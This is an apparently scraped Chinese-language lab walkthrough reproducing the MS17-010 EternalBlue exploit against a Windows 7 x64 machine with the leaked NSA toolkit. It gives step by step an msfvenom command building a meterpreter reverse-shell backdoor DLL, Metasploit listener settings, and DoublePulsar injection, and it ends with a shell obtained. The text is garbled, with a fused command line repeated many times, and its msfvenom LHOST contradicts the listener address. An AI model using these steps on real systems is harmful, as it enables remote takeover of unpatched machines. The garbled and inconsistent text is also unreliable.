利用的是NSA爆出来的工具箱
攻击机IP:10.1.6.154
靶机IP :10.1.6.153
靶机系统 : windows7 x64
ms17_010复现use exploit/multi/handlerset payloadwindows/x64/meterpreter/reverse_tcpset lhost 10.1.6.154set lport 5555 
ms17_010复现use exploit/multi/handlerset payloadwindows/x64/meterpreter/reverse_tcpset lhost 10.1.6.154set lport 5555 Target ip : 设置目标 IP 10.1.6.153
Callback IP: 设置本地 IP 10.1.6.154
Use Redirection:设置重定向 no
设置日志目录 : C:\logs
设置项目名称
ms17_010复现use exploit/multi/handlerset payloadwindows/x64/meterpreter/reverse_tcpset lhost 10.1.6.154set lport 5555 Fb > use eternalblue 选择永恒之蓝模块
ms17_010复现use exploit/multi/handlerset payloadwindows/x64/meterpreter/reverse_tcpset lhost 10.1.6.154set lport 5555 这里的target 指的是目标的操作系统
ms17_010复现use exploit/multi/handlerset payloadwindows/x64/meterpreter/reverse_tcpset lhost 10.1.6.154set lport 5555 然后用kali生成小马,
msfvenom -pwindows/x64/meterpreter/reverse_tcp LHOST=10.1.6.153 LPORT=5555 -f dll >backdoor.dll
在root目录下生成一个backdoor.dll的马, 将马打包 到10.1.6.154这台攻击机上
然后打开smfconsole设置tcp监听
设置监听的命令：
use exploit/multi/handler
set payloadwindows/x64/meterpreter/reverse_tcp
set lhost 10.1.6.154
set lport 5555
使用 use Doublepulsar 模块 向靶机传入小马
ms17_010复现use exploit/multi/handlerset payloadwindows/x64/meterpreter/reverse_tcpset lhost 10.1.6.154set lport 5555 ms17_010复现use exploit/multi/handlerset payloadwindows/x64/meterpreter/reverse_tcpset lhost 10.1.6.154set lport 5555 选择SMB服务 x64系统 rundll 注入 dll
Dllpayload: 选择dll的路径
ms17_010复现use exploit/multi/handlerset payloadwindows/x64/meterpreter/reverse_tcpset lhost 10.1.6.154set lport 5555 攻击成功 返回kali的监听端口上看到反弹到shell
